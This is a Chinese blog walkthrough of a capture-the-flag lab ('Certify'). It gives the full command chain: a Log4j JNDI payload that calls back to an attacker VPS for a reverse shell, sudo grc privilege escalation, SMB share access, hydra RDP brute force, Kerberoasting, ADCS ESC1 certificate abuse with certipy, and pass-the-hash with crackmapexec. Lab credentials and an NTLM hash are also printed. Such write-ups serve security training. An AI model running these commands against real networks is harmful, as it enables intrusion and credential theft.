春秋云境Certify-WP【一遍过】

最新推荐文章于 2024-03-20 14:58:22 发布

Jugg_xie

最新推荐文章于 2024-03-20 14:58:22 发布

阅读量460

点赞数 2

分类专栏：渗透文章标签：安全

本文链接：https://blog.csdn.net/weixin_63576152/article/details/133799570

版权

渗透专栏收录该内容

13 篇文章 0 订阅

订阅专栏

flag01

fscan扫描

扫描可以看到一个solr，solr一般会有log4j漏洞，看到有log4j组件

触发点是action参数

/solr/admin/collections?action=

验证：

http://39.xx.xx.xx:8983/solr/admin/collections?action=${jndi:ldap://iszpua.dnslog.cn}

我是这样的，不知道为什么

其他人是这样的

证明存在log4j漏洞，利用JNDIExploit工具打

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps -p 8888

监听端口

nc -lvnp 9999

访问网站

http://39.xx.xx.xx:8983/solr/admin/collections?action=${jndi:ldap://175.xx.xx.xx:1389/Basic/ReverseShell/175.xx.xx.xx/9999}

获得shell

提权

sudo -l

发现grc可以免密sudo执行，查看提权手册

sudo /usr/bin/grc --pty /bin/sh

获得权限

在/root/flag/flag01.txt获得flag01

flag02

先用wget上传frp和fscan

信息收集：

start infoscan
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.47     is alive
(icmp) Target 172.22.9.26     is alive
[*] Icmp alive hosts len is: 4
172.22.9.47:80 open
172.22.9.7:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.19:22 open
172.22.9.47:21 open
172.22.9.7:135 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.47:139 open
172.22.9.7:88 open
172.22.9.26:135 open
172.22.9.19:8983 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] WebTitle: http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] NetBios: 172.22.9.7      [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.47  (Windows 6.1)
[*] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] WebTitle: http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetBios: 172.22.9.47     fileserver                          Windows 6.1 
[*] WebTitle: http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] http://172.22.9.7 poc-yaml-active-directory-certsrv-detect

总结出下面的拓扑

172.22.9.7  DC域控
172.22.9.13 CA域内机器
172.22.9.19 当前机器
172.22.9.26 域内机器
172.22.9.47 文件服务器

开代理，先看172.22.9.47 文件服务器，刚好也开了445端口（TCP端口），直接可以连接

proxychains smbclient -L 172.22.9.47

查看共享文件

proxychains smbclient //172.22.9.47/fileshare

找到flag02.txt，直接get下来查看

flag03

把之前的数据库也get下来

打开查看，可以看到user表和member表

这里有几个用户名被修改成*了因为都是些个人的账号密码，再联系前面扫到的三个3389端口，尝试爆破172.22.9.26（域控和CA域不大可能，172.22.9.26这个域内机器是最有可能的）

导出数据，编为字典user.txt和pass.txt，爆破

proxychains hydra -L user.txt -P pass.txt 172.22.9.26 rdp

没有爆成功。。

看wp得到两个账号

XIAORANG.LAB\zhangjian–i9XDE02pLVf
XIAORANG.LAB\zhangjian–fiAzGwEMgTY

远程连接失败

根据flag02的提示，要用到spn

这里先尝试查找下域用户下的spn

proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

把凭证保存在hash.txt中，尝试hashcat破解
看了下hash类型（hashcat -h），符合13100

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

得到这样一个账户（另一个账户也是可以的）

XIAORANG.LAB\zhangxia
MyPass2@@6

再次远程连接172.22.9.26，成功，但是没有管理员权限，所以没什么用处

这时重新看看内网还有那些机器
172.22.9.13 CA域成员机
存在一台证书颁发服务器
域渗透中和证书服务器相关的利用有ESC1和ESC8

先利用Certipy工具查看证书情况

proxychains certipy find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

虽然默认也有 ESC8, 但是因为 AD DS 和 AD CS 是在同一台机器上的, 所以无法进行 NTLM Relay

下面利用 ESC1

申请 XR Manager 证书模版并伪造域管理员，得到administrator.pfx

proxychains certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

利用administrator.pfx证书获取 TGT 和 NTLM Hash

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

NTLM：2f1b57eefb2d152196836b0516abea80

获得flag

proxychains  crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

flag04

最后获得域控的flag04

proxychains crackmapexec smb 172.22.9.7 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"

或者

proxychains impacket-wmiexec -hashes :2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7

Jugg_xie

关注

2
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录